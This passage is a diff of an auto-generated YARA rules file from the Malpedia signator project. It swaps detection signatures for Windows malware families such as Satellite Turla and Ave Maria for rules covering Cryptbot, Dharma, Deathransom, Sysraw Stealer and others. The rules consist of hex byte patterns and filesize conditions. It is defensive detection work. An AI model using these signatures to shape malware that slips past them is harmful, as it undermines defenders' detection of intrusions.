+		$sequence_8 = { ff15???????? 83bdc4f8ffff00 741c 68???????? e8???????? 69c0e8030000 83c404 }
+		$sequence_9 = { c74424183ba7ca84 c744241c85ae67bb c74424202bf894fe c744242472f36e3c }
+		$sequence_10 = { 8a44242a 8b1c8d38640410 8b048538600410 8bca 33c3 }
+		$sequence_11 = { 8d1433 52 50 ff15???????? 85c0 0f8435ffffff 8b15???????? }
+		$sequence_12 = { 68???????? 52 ffd7 8d85fcf7ffff 83c408 8d5002 668b08 }
+		$sequence_13 = { 83f906 0f87c1000000 ff248d302a0210 8b4810 85c9 74d6 8b490c }
+		$sequence_14 = { 8b8dacfeffff 51 e8???????? 8b9db0feffff }
 
 	condition:
-		7 of them and filesize <50176
+		7 of them and filesize <1429504
 }
-rule MALPEDIA_Win_Satellite_Turla_Auto : FILE
+rule MALPEDIA_Win_Cryptbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "79b83503-3c79-5740-8814-f6490a13be5c"
+		id = "1c6d7eb4-b0bc-5398-a1c7-a56c78dd600a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satellite_turla"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.satellite_turla_auto.yar#L1-L160"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptbot_auto.yar#L1-L150"
 		license_url = "N/A"
-		logic_hash = "5508d48c958832fbb5bd1d9983eb0158b4a79197acb610f43056e5475e8173ec"
+		logic_hash = "09f972034d92b74b2b134cacc0a51ffba015046eb0d41dcfb99ea848a8d7ad71"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175763,38 +182815,37 @@ rule MALPEDIA_Win_Satellite_Turla_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0105???????? 81c3b0020000 2945e0 75ae 837dd400 }
-		$sequence_1 = { 51 8d9514fbffff 52 a1???????? }
-		$sequence_2 = { 0108 833e00 7fc7 db46fc }
-		$sequence_3 = { 0105???????? 83c410 29442418 75a9 }
-		$sequence_4 = { 0108 833e00 7c1f 8b542410 }
-		$sequence_5 = { 0105???????? 83c410 29442420 75aa }
-		$sequence_6 = { 0108 833a00 7c23 8b442428 }
-		$sequence_7 = { 0108 833e00 7cc7 7e39 }
-		$sequence_8 = { c645da14 c645db14 e8???????? 83c40c 8d45d0 }
-		$sequence_9 = { c645de47 c645df5b c645e04d c645e160 c645e249 c645e346 c645e44c }
-		$sequence_10 = { 6a0a 50 e8???????? 83c40c 8d45f4 885dfd 50 }
-		$sequence_11 = { 8d7da0 f3ab 8d459c 50 ff15???????? }
-		$sequence_12 = { 3bf8 72ee 6880000000 56 ff15???????? }
-		$sequence_13 = { c645ac05 c645ad07 c645ae07 c645af0b c645b004 c645b10e c645b226 }
-		$sequence_14 = { 7506 46 47 3bf8 }
-		$sequence_15 = { 6a55 8d45b8 6a0c 50 c645b816 }
+		$sequence_0 = { 33c0 85ed 0f94c0 8be8 }
+		$sequence_1 = { 33c0 eb0a b917d90000 e8???????? }
+		$sequence_2 = { e9???????? b949dc0000 e9???????? b944dc0000 e9???????? b964dc0000 }
+		$sequence_3 = { e8???????? 85c0 750c b961030200 e8???????? }
+		$sequence_4 = { 0f9cc0 eb02 32c0 84c0 }
+		$sequence_5 = { eb0c b99fed0000 e8???????? 8907 }
+		$sequence_6 = { e8???????? 85c0 750e b9ca070200 e8???????? 8bc8 }
+		$sequence_7 = { e8???????? 85c0 750f b955960100 e8???????? e9???????? }
+		$sequence_8 = { 744e 0fb74802 83e103 3bcb }
+		$sequence_9 = { 750b 8bce e8???????? 8b4c2428 }
+		$sequence_10 = { 7508 85f6 7404 c6464101 5e c3 }
+		$sequence_11 = { 7518 8b542414 83c718 8bcd }
+		$sequence_12 = { 7409 33d2 e8???????? 8bf8 43 }
+		$sequence_13 = { 2403 80e110 8ad1 3c02 7509 }
+		$sequence_14 = { 751f 8bd5 8bce e8???????? }
 
 	condition:
-		7 of them and filesize <1040384
+		7 of them and filesize <11116544
 }
-rule MALPEDIA_Win_Saint_Bot_Auto : FILE
+rule MALPEDIA_Win_Karma_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "714c3147-1158-5cc4-a0a2-d44deb9955a4"
+		id = "7f63a996-b29b-562f-996a-826393522cf0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.saint_bot_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karma"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.karma_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "74c58e6c0a61984f0e7d1e5e39218efbc9c3b95b70a89e37e515f61493396398"
+		logic_hash = "2f60ce68960b60e178a1e413eabfae876f08564938fc3ab9af48ba4bf8caac6e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175808,32 +182859,32 @@ rule MALPEDIA_Win_Saint_Bot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85f6 7432 837d10ff 7405 3b5d10 744f 6a04 }
-		$sequence_1 = { 894df8 894dec ff15???????? 8d45ec 50 8d45f8 50 }
-		$sequence_2 = { 668945e8 83c002 668945ea 8d45e0 8945d0 }
-		$sequence_3 = { c3 55 8bec 8b550c 53 0fb71a 6685db }
-		$sequence_4 = { 6a78 68f0000000 b800000080 50 50 680000cf00 }
-		$sequence_5 = { 85c0 0f84c7000000 85ff 7404 c6043800 }
-		$sequence_6 = { 58 6a63 668945cc 58 6a30 }
-		$sequence_7 = { 56 57 e8???????? ff75f0 56 57 e8???????? }
-		$sequence_8 = { 57 ff15???????? 56 6880000000 6a02 56 }
-		$sequence_9 = { 8bf0 ff15???????? 6a00 6a06 56 6a04 50 }
+		$sequence_0 = { 8b7f08 8bc7 d3e8 8b4d08 }
+		$sequence_1 = { 8bf9 8955f0 33c0 663907 7408 40 66833c4700 }
+		$sequence_2 = { 0f1006 0f114318 e8???????? 5f }
+		$sequence_3 = { ebc5 33ff 6690 0fb78ffc434000 }
+		$sequence_4 = { ff15???????? 6a00 8d442444 50 6800710200 }
+		$sequence_5 = { 660fefc8 0f1148f0 83e901 75e7 8d55e0 }
+		$sequence_6 = { 894dfc 894dc0 894dc4 894dc8 894dcc }
+		$sequence_7 = { 8b4c2418 8b44241c 83c140 6a00 6a00 83d000 }
+		$sequence_8 = { 8d4e20 0f47ce 2bca 750e 6685db 0f84c5000000 }
+		$sequence_9 = { 66833c45f051400000 75f4 33d2 663915???????? 7415 660f1f840000000000 }
 
 	condition:
-		7 of them and filesize <93184
+		7 of them and filesize <49208
 }
-rule MALPEDIA_Win_Ave_Maria_Auto : FILE
+rule MALPEDIA_Win_Bundestrojaner_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "410b5f16-91ac-5311-b6ab-598dd1954c39"
+		id = "f8dcad82-5285-5492-8b50-3aca915a7d86"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ave_maria_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bundestrojaner_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "d6a2fe1f05fe69e9ea5ce04e4093200d3e962df5b8f3c4c00fc93efedbc85567"
+		logic_hash = "14c57bb4c31bed67bf98bb86f0286f3377181b876957cd1f8d67f51314c230ea"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175847,34 +182898,34 @@ rule MALPEDIA_Win_Ave_Maria_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b07 ff740610 8d4614 50 8d45f8 50 }
-		$sequence_1 = { 52 8b08 6a01 50 ff510c 85c0 74c1 }
-		$sequence_2 = { 6a0a 03c1 59 8bf8 f3a5 8d4d30 }
-		$sequence_3 = { 0f57c0 c745e015000000 50 8d4de0 0f1145e8 e8???????? 8bc8 }
-		$sequence_4 = { 803800 7509 33c0 5b c3 33c0 40 }
-		$sequence_5 = { 8bc7 99 2bc1 8bcf 1bd6 52 50 }
-		$sequence_6 = { ff500c 8b06 68???????? ff37 8b08 }
-		$sequence_7 = { 51 54 8bce e8???????? 8b4d08 e8???????? 83c410 }
-		$sequence_8 = { 300431 41 3bcf 7ced 5f 8bc6 5e }
-		$sequence_9 = { 83ec18 53 8bd9 56 57 895df8 }
+		$sequence_0 = { 894c2414 33ff 85c0 897c2410 741f 47 d1f8 }
+		$sequence_1 = { 3bc8 7cc3 8b5608 8b4e70 d9442460 42 897e04 }
+		$sequence_2 = { 50 8d55fc 51 52 e8???????? 8b87c0000000 b980000000 }
+		$sequence_3 = { 56 8b742438 57 8b7c242c 8bc7 c744241000000000 }
+		$sequence_4 = { 8b4e34 8d1482 52 50 8b460c 50 51 }
+		$sequence_5 = { 83c420 8b5104 85d2 0f95c2 83f806 885114 }
+		$sequence_6 = { d9c9 d959fc 3b5610 7cdb ddd8 8b4610 8b5c2418 }
+		$sequence_7 = { 75fb 83fe0b 7e15 8b442414 50 8b08 c7411406000000 }
+		$sequence_8 = { 8d54241c 89442420 8b44240c 6a00 52 6a00 }
+		$sequence_9 = { dd1c24 e8???????? 83c408 e8???????? 85c0 8944241c 7d04 }
 
 	condition:
-		7 of them and filesize <237568
+		7 of them and filesize <729088
 }
-rule MALPEDIA_Win_Hookinjex_Auto : FILE
+rule MALPEDIA_Win_Powershellrunner_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cc81917a-8c1e-59eb-8738-a94445516bc1"
+		id = "52f34db7-4f5a-5a7d-b993-5b0a17757274"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hookinjex"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hookinjex_auto.yar#L1-L148"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powershellrunner"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.powershellrunner_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "afb96fa06c3548b099102aa92aa51777edafb1bb6fe4920aba390d45066ccc62"
-		score = 60
-		quality = 25
+		logic_hash = "c0bbeb809fa33bde57fda2fd6bac480ecf51cfd19b2b4c46994cda378bb784a0"
+		score = 75
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -175886,38 +182937,32 @@ rule MALPEDIA_Win_Hookinjex_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 85c0 740c b913e40000 }
-		$sequence_1 = { e8???????? b964000000 ff15???????? 0fb705???????? }
-		$sequence_2 = { e8???????? 85c0 7507 b80e000000 }
-		$sequence_3 = { e9???????? 488b4c2458 e8???????? 488b4c2450 }
-		$sequence_4 = { e8???????? b95b730100 e8???????? e9???????? }
-		$sequence_5 = { e8???????? 85c0 750f b9dc550100 }
-		$sequence_6 = { e8???????? 833d????????00 7411 b903000000 e8???????? }
-		$sequence_7 = { e8???????? 85c0 7408 803b00 }
-		$sequence_8 = { 48817c243000100000 0f82dc020000 488b442460 4889442438 }
-		$sequence_9 = { 2500180000 3d00080000 750d c78424e800000001000000 eb0b }
-		$sequence_10 = { 25001b0000 3d00100000 750a c744244401000000 }
-		$sequence_11 = { 25001b0000 3d00110000 750d c784243c01000001000000 }
-		$sequence_12 = { 25001b0000 3d00100000 750d c784242401000001000000 }
-		$sequence_13 = { 2500180000 3d00180000 750a c744247c01000000 }
-		$sequence_14 = { 25001b0000 3d00110000 750a c744245c01000000 }
-		$sequence_15 = { 48817c243800100000 0f82f5000000 488b442438 4883c02f }
+		$sequence_0 = { 4889442440 488b442420 488b8c2498000000 482bc8 488bc1 4c8bc0 488b542440 }
+		$sequence_1 = { 488d4c2448 e8???????? 0fb6c0 85c0 7439 }
+		$sequence_2 = { 668984240e020000 b828000000 6689842410020000 b828000000 6689842412020000 b867000000 6689842414020000 }
+		$sequence_3 = { 488bcd 488d1529b20100 83e13f 488bc5 48c1f806 48c1e106 48030cc2 }
+		$sequence_4 = { 6689842488000000 b865000000 668984248a000000 b872000000 668984248c000000 b86e000000 668984248e000000 }
+		$sequence_5 = { 4833c4 4889842428010000 48c744245800000000 48c744246800000000 c744244c00000000 c744244800000000 b853000000 }
+		$sequence_6 = { f30f6f0f 4883f80e 7773 8b848654da0100 4803c6 ffe0 }
+		$sequence_7 = { e8???????? 4889442458 488b8c2490000000 e8???????? 4889442448 }
+		$sequence_8 = { 48894c2408 48b8ffffffffffffff1f c3 48894c2408 48b8ffffffffffffff3f c3 4c894c2420 }
+		$sequence_9 = { 4c8d0df9b30000 488be9 4c8d05e7b30000 488d15e8b30000 b914000000 e8???????? 4885c0 }
 
 	condition:
-		7 of them and filesize <6545408
+		7 of them and filesize <458752
 }
-rule MALPEDIA_Win_Sysget_Auto : FILE
+rule MALPEDIA_Win_Dharma_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "950c6328-1de5-5d85-b009-d36eceeda441"
+		id = "e57e8a97-3ba4-55fc-8a7a-2d2cd02d04a4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysget"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sysget_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dharma_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "98d11ad376be93c301b2c1f8309ca9e93b58254eeadefcb865a1a57e18934a28"
+		logic_hash = "7cad44063f19785eb5f21218749fc586efdec21afeaf1b9147edb5d8331036bc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175931,32 +182976,32 @@ rule MALPEDIA_Win_Sysget_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 56 6a20 8d45cc 50 53 53 }
-		$sequence_1 = { f3a5 33f6 8d4435f0 8a08 f6d1 80f15f }
-		$sequence_2 = { 58 6a00 ff15???????? 6a01 8d85ecf9ffff 50 8d85ecf1ffff }
-		$sequence_3 = { 8985c8f9ffff 83c032 50 66a5 e8???????? 83c428 }
-		$sequence_4 = { 33f6 8d4435f0 8a08 f6d1 80f15f 46 }
-		$sequence_5 = { 75f5 8dbdecfeffff 2bc2 83ef02 668b4f02 83c702 6685c9 }
-		$sequence_6 = { 83c424 6800010000 ffb5f8feffff c1e306 8d841dfcfeffff 50 ff15???????? }
-		$sequence_7 = { 6a50 68???????? 50 ff15???????? a3???????? a1???????? }
-		$sequence_8 = { 51 ff36 897d0c 50 53 }
-		$sequence_9 = { 8d459c 50 56 56 6a20 53 }
+		$sequence_0 = { 8945e8 8b45ec 8b4808 8b55ec }
+		$sequence_1 = { 8b4824 8b5508 8b4218 8d0c48 51 68ff7f0000 }
+		$sequence_2 = { 68???????? 6a00 6a00 e8???????? eb0e 8b4dfc 51 }
+		$sequence_3 = { 8b45e4 034530 8945e4 8b4dfc 034d30 894dfc 6a06 }
+		$sequence_4 = { a1???????? 898574ffffff 6880000000 68???????? 8b8d74ffffff 51 68???????? }
+		$sequence_5 = { 8945fc 8b4d08 0fb711 d1fa 8955e0 8b45f8 c1e818 }
+		$sequence_6 = { 741a 8b5508 83c22c 8b4dfc 8b8108000100 }
+		$sequence_7 = { 8b0c85b8bf4000 81e10000ff00 33d1 8b45f4 }
+		$sequence_8 = { d1f8 8d4c0002 51 e8???????? 83c404 8b55ec 8b4a08 }
+		$sequence_9 = { 8b55f4 83c201 8955f4 eba3 8b45f8 50 e8???????? }
 
 	condition:
-		7 of them and filesize <352256
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Mapiget_Auto : FILE
+rule MALPEDIA_Win_Locky_Decryptor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "51e9978a-f3a2-5a57-b2db-e31705d960d6"
+		id = "7272c171-5952-5404-84f8-64d1272487e9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mapiget_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.locky_decryptor_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "0c633dd4b3de0327e913721fdea6a98365647ad6509020036346423432ca814a"
+		logic_hash = "608b3ec7b9a67c8bdfea65d7f94d3ac9056bb8fb93478235380693008ad0bb57"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175970,32 +183015,32 @@ rule MALPEDIA_Win_Mapiget_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 773c 33d2 8a9178154000 ff24956c154000 6683780400 }
-		$sequence_1 = { 75f4 8d0c49 5e 8d0c8dd8ea4000 3bc1 }
-		$sequence_2 = { 52 e8???????? 83c404 6683bc456effffff0a 7517 8d8570ffffff }
-		$sequence_3 = { 8d95f0f9ffff 6800020000 52 e8???????? 83c40c 85c0 0f84c1010000 }
-		$sequence_4 = { 741e 8bc7 8bcf c1f805 83e11f 8b048520174100 8d04c8 }
-		$sequence_5 = { e8???????? 8b54240c 83c408 52 }
-		$sequence_6 = { 8d85f0feffff 8d8d70ffffff 50 8d95f0fdffff }
-		$sequence_7 = { 85c0 7520 8d8df0f9ffff 8d95f0fdffff 51 52 }
-		$sequence_8 = { 83c404 3bf7 0f846bfdffff 56 }
-		$sequence_9 = { c705????????0d000000 c3 8b04d5540c4100 a3???????? c3 81f9bc000000 }
+		$sequence_0 = { 8d7c2420 c684249000000001 e8???????? 6a01 33ff }
+		$sequence_1 = { 56 6a5c 8bf0 e8???????? }
+		$sequence_2 = { 58 33db 33c9 8945e0 }
+		$sequence_3 = { 8d45e0 50 33ff 6880000000 897dc0 ff15???????? 50 }
+		$sequence_4 = { 66890e 56 8d8ddcfbffff e8???????? 8bc6 }
+		$sequence_5 = { 50 e8???????? 8364247800 56 50 8d442420 }
+		$sequence_6 = { 68???????? 8d8504ffffff e9???????? 015ddc 6a00 5b }
+		$sequence_7 = { 56 e8???????? 8b4df4 83c40c 5f 5e 8bc3 }
+		$sequence_8 = { 894c2410 3bda 7e6c 33d2 c7442418f0ffffff }
+		$sequence_9 = { ff15???????? c745fc0a000000 395de4 740f }
 
 	condition:
-		7 of them and filesize <163840
+		7 of them and filesize <278528
 }
-rule MALPEDIA_Win_Powershellrunner_Auto : FILE
+rule MALPEDIA_Win_Duuzer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "52f34db7-4f5a-5a7d-b993-5b0a17757274"
+		id = "df8c3768-3cdc-5b0e-a660-661bdb978bfa"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powershellrunner"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.powershellrunner_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.duuzer_auto.yar#L1-L145"
 		license_url = "N/A"
-		logic_hash = "c0bbeb809fa33bde57fda2fd6bac480ecf51cfd19b2b4c46994cda378bb784a0"
+		logic_hash = "13aac089d76bc4f63a9fe69893726cbd97eb78875b3161a00634aa641d0ec8d3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176009,32 +183054,37 @@ rule MALPEDIA_Win_Powershellrunner_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4889442440 488b442420 488b8c2498000000 482bc8 488bc1 4c8bc0 488b542440 }
-		$sequence_1 = { 488d4c2448 e8???????? 0fb6c0 85c0 7439 }
-		$sequence_2 = { 668984240e020000 b828000000 6689842410020000 b828000000 6689842412020000 b867000000 6689842414020000 }
-		$sequence_3 = { 488bcd 488d1529b20100 83e13f 488bc5 48c1f806 48c1e106 48030cc2 }
-		$sequence_4 = { 6689842488000000 b865000000 668984248a000000 b872000000 668984248c000000 b86e000000 668984248e000000 }
-		$sequence_5 = { 4833c4 4889842428010000 48c744245800000000 48c744246800000000 c744244c00000000 c744244800000000 b853000000 }
-		$sequence_6 = { f30f6f0f 4883f80e 7773 8b848654da0100 4803c6 ffe0 }
-		$sequence_7 = { e8???????? 4889442458 488b8c2490000000 e8???????? 4889442448 }
-		$sequence_8 = { 48894c2408 48b8ffffffffffffff1f c3 48894c2408 48b8ffffffffffffff3f c3 4c894c2420 }
-		$sequence_9 = { 4c8d0df9b30000 488be9 4c8d05e7b30000 488d15e8b30000 b914000000 e8???????? 4885c0 }
+		$sequence_0 = { 83f804 7408 83c8ff e9???????? }
+		$sequence_1 = { 0145f0 1155f4 85c9 7533 }
+		$sequence_2 = { 57 4154 4155 4881ec88080000 488b05???????? 4833c4 }
+		$sequence_3 = { 00f4 c640001c c740008a460323 d188470383ee }
+		$sequence_4 = { 56 57 b830910000 e8???????? }
+		$sequence_5 = { 56 57 b8a0010100 e8???????? }
+		$sequence_6 = { 56 57 488dac2410fcffff 4881ecf0040000 }
+		$sequence_7 = { 01442410 3bfb 75c4 8b4630 }
+		$sequence_8 = { 57 4154 4883ec20 448be2 }
+		$sequence_9 = { 57 4154 4155 4156 4883ec30 488b05???????? }
+		$sequence_10 = { 014dec 83bf8400000000 7708 398780000000 }
+		$sequence_11 = { 57 4154 4155 4883ec20 33f6 488bd9 }
+		$sequence_12 = { 014dec 66837dec00 0f8efc010000 0fbf45ec }
+		$sequence_13 = { 00e0 3541000436 41 0023 }
+		$sequence_14 = { 010b 014e4c 014e48 014e54 }
 
 	condition:
-		7 of them and filesize <458752
+		7 of them and filesize <491520
 }
-rule MALPEDIA_Win_5T_Downloader_Auto : FILE
+rule MALPEDIA_Win_Sysraw_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fe4393a3-e3cd-5e60-a348-fa50df874e7a"
+		id = "a9e810a6-264f-569e-b3d3-a9931864293b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.5t_downloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.5t_downloader_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysraw_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sysraw_stealer_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "708a5991b6f83db848239b1110cc9bc587325f0c0450305b55a83b6de5bbd18e"
+		logic_hash = "a25f6b3ba819f069101fb648f9516e51ed0f5298199445e1b66fa7cef9e138d8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176048,32 +183098,32 @@ rule MALPEDIA_Win_5T_Downloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7409 83781800 7403 5d }
-		$sequence_1 = { 85c9 7409 83781800 7403 5d }
-		$sequence_2 = { 85c9 7409 83781800 7403 }
-		$sequence_3 = { 85c0 7416 83781400 7510 }
-		$sequence_4 = { 85c9 7409 83781800 7403 5d ffe1 83c8ff }
-		$sequence_5 = { 8b4508 85c0 7416 83781400 7510 }
-		$sequence_6 = { 55 8bec 8b4508 85c0 7416 83781400 7510 }
-		$sequence_7 = { 85c9 7409 83781800 7403 5d ffe1 }
-		$sequence_8 = { 7409 83781800 7403 5d ffe1 83c8ff }
-		$sequence_9 = { 8bec 8b4508 85c0 7416 83781400 7510 }
+		$sequence_0 = { 50 8d9504ffffff 51 8d8508ffffff 52 8d8d0cffffff }
+		$sequence_1 = { ffd6 a1???????? ba???????? 8b4814 c1e102 8bf9 8b480c }
+		$sequence_2 = { 51 89558c ffd7 8b558c f7d8 1bc0 f7d8 }
+		$sequence_3 = { 7507 c745ec01000000 8b4514 8b7de8 2bc7 6800000040 }
+		$sequence_4 = { ff15???????? 8b4dc0 894dd4 8d55c4 52 }
+		$sequence_5 = { c7400807000000 c7400c0f000000 c740101f000000 c740143f000000 c740187f000000 }
+		$sequence_6 = { 89bde0feffff ffd6 8b3d???????? 50 }
+		$sequence_7 = { c7420485ae67bb 8b4590 c7400872f36e3c 8b4d90 c7410c3af54fa5 }
+		$sequence_8 = { 53 56 57 8bd0 8bf1 8bf8 8bd9 }
+		$sequence_9 = { 8975c8 8975b8 8975a8 ff15???????? 8b45d0 8975cc 50 }
 
 	condition:
-		7 of them and filesize <539648
+		7 of them and filesize <1540096
 }
-rule MALPEDIA_Win_Mistcloak_Auto : FILE
+rule MALPEDIA_Win_Deathransom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bcb29aaa-c37e-5c55-be1e-5d06aa41cabd"
+		id = "4e39de37-0fee-5b21-a4db-fc348269215e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mistcloak"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mistcloak_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.deathransom_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "6962ced189f702e03fc18d236cee46a2a0844476537e8c819ea6f1c43f9c0922"
+		logic_hash = "8362ae87c1f20555b6e75c6240bf76604d10b1d1a7af4c90e341b81be4a45543"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176087,32 +183137,32 @@ rule MALPEDIA_Win_Mistcloak_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b049590500110 f644082801 740b 56 e8???????? 59 8bf0 }
-		$sequence_1 = { 660f282d???????? 660f59f5 660f28aa70100110 660f54e5 660f58fe 660f58fc }
-		$sequence_2 = { 8b0c8590500110 8b45f8 807c012800 7d46 }
-		$sequence_3 = { 0f85b1000000 8b4508 dd00 ebc2 c745e418120110 eb19 }
-		$sequence_4 = { 6bc618 57 8db8104e0110 57 }
-		$sequence_5 = { 7429 83e805 7415 83e801 0f8595010000 c745e408120110 }
-		$sequence_6 = { c745e408120110 e9???????? c745e404120110 e9???????? 894de0 c745e404120110 e9???????? }
-		$sequence_7 = { 85f6 7420 6bc618 57 8db8104e0110 57 }
-		$sequence_8 = { 8bc1 3914c5781a0110 7408 40 }
-		$sequence_9 = { 8b45b4 8b0c8590500110 8a043b 03ce 8b75dc 03cb 43 }
+		$sequence_0 = { 8b55d8 33c3 03c1 81c216c1a419 03d0 8bcf 0155ec }
+		$sequence_1 = { 03d1 c1c007 0355a8 8bcf c1c90b 33c8 8955d8 }
+		$sequence_2 = { 742d 8b45f8 ba20000000 2bd6 8bca d3e8 8bce }
+		$sequence_3 = { 0f8278010000 8b5df4 8d4dd8 56 8bd3 837b0400 }
+		$sequence_4 = { c3 83f802 7546 6820020000 6a08 c745fc20020000 ff15???????? }
+		$sequence_5 = { 8d8d90fdffff e8???????? 8d8d90fdffff e8???????? 8d8d90fdffff e8???????? 6a50 }
+		$sequence_6 = { 0b7de4 237ddc 8b55f4 0bf8 897de0 8bc6 014de0 }
+		$sequence_7 = { 8b45dc 8bc8 0155e8 c1c00a }
+		$sequence_8 = { 85c9 0f95c0 2bc8 33c0 c1e905 }
